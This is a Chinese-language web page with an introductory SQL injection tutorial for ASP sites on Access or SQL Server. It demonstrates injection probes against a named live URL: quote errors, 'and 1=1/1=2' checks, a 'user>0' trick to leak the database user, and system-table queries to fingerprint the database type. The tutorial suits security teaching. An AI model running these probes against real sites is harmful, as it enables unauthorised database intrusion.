首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

資安入門:SQL Injection 完整實戰指南(入門篇完整版)

     編輯:關於SqlServer

SQL Injection 核心特徵

  • 透過正常 WWW 埠存取,外觀與一般瀏覽無異
  • 主流防火牆無法偵測/阻擋
  • 缺乏 IIS 日誌稽核習慣者,長期駐留風險極高

技術棧與學習路徑

  • ASP + Access/SQL Server:70%+ (本系列重點)
  • PHP + MySQL:~20% (由 zwell 撰寫)
  • 建議完整閱讀入門篇,避免基本判斷誤區

前置準備

IE → 工具 → 網際網路選項 → 進階 → 取消「顯示友好 HTTP 錯誤訊息」

第一節:注入原理實證 (www.19cn.com 授權測試)

測試 URL:https://www.19cn.com/showdetail.asp?id=49 加單引號:

Microsoft JET Database Engine error '80040e14'
Syntax error in query expression 'ID=49''.
/showdetail.asp, line 8

推論三大關鍵資訊:

  1. Access + JET Engine 連接
  2. 無輸入驗證
  3. 表含 ID 欄位

第二節:判斷可注入性 - 單引號測試的缺陷

單引號測試三大問題:IIS 錯誤隱藏、CInt 強制轉型干擾、過濾單引號誤以為安全。

第三節:精準測試法 - 經典 1=1 / 1=2 三步驟

  1. ...id=49 → 正常
  2. ...id=49 and 1=1 → 正常,內容相同
  3. ...id=49 and 1=2 → BOF/EOF、找不到記錄、空白頁
現象可注入不可注入
① 正常✓✓
② 1=1 正常✓✗ (程式/型別錯誤)
③ 1=2 異常✓✗ (程式/型別錯誤)

第四節:資料庫類型判斷

法一:系統變數型別轉換錯誤 (需 IIS 顯示錯誤)

...id=49 and user>0
-- SQL Server 回傳:Syntax error converting nvarchar 'abc' to int
-- 直接洩露用戶名!sa 登入顯示 dbo

法二:系統表存取差異 (通用)

-- SQL Server 測試
...id=49 and (select count(*) from sysobjects)>0
-- Access 測試
...id=49 and (select count(*) from msysobjects)>0

第一語句正常 → SQL Server;第一語句異常 → Access (msysobjects 通常無權限)。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved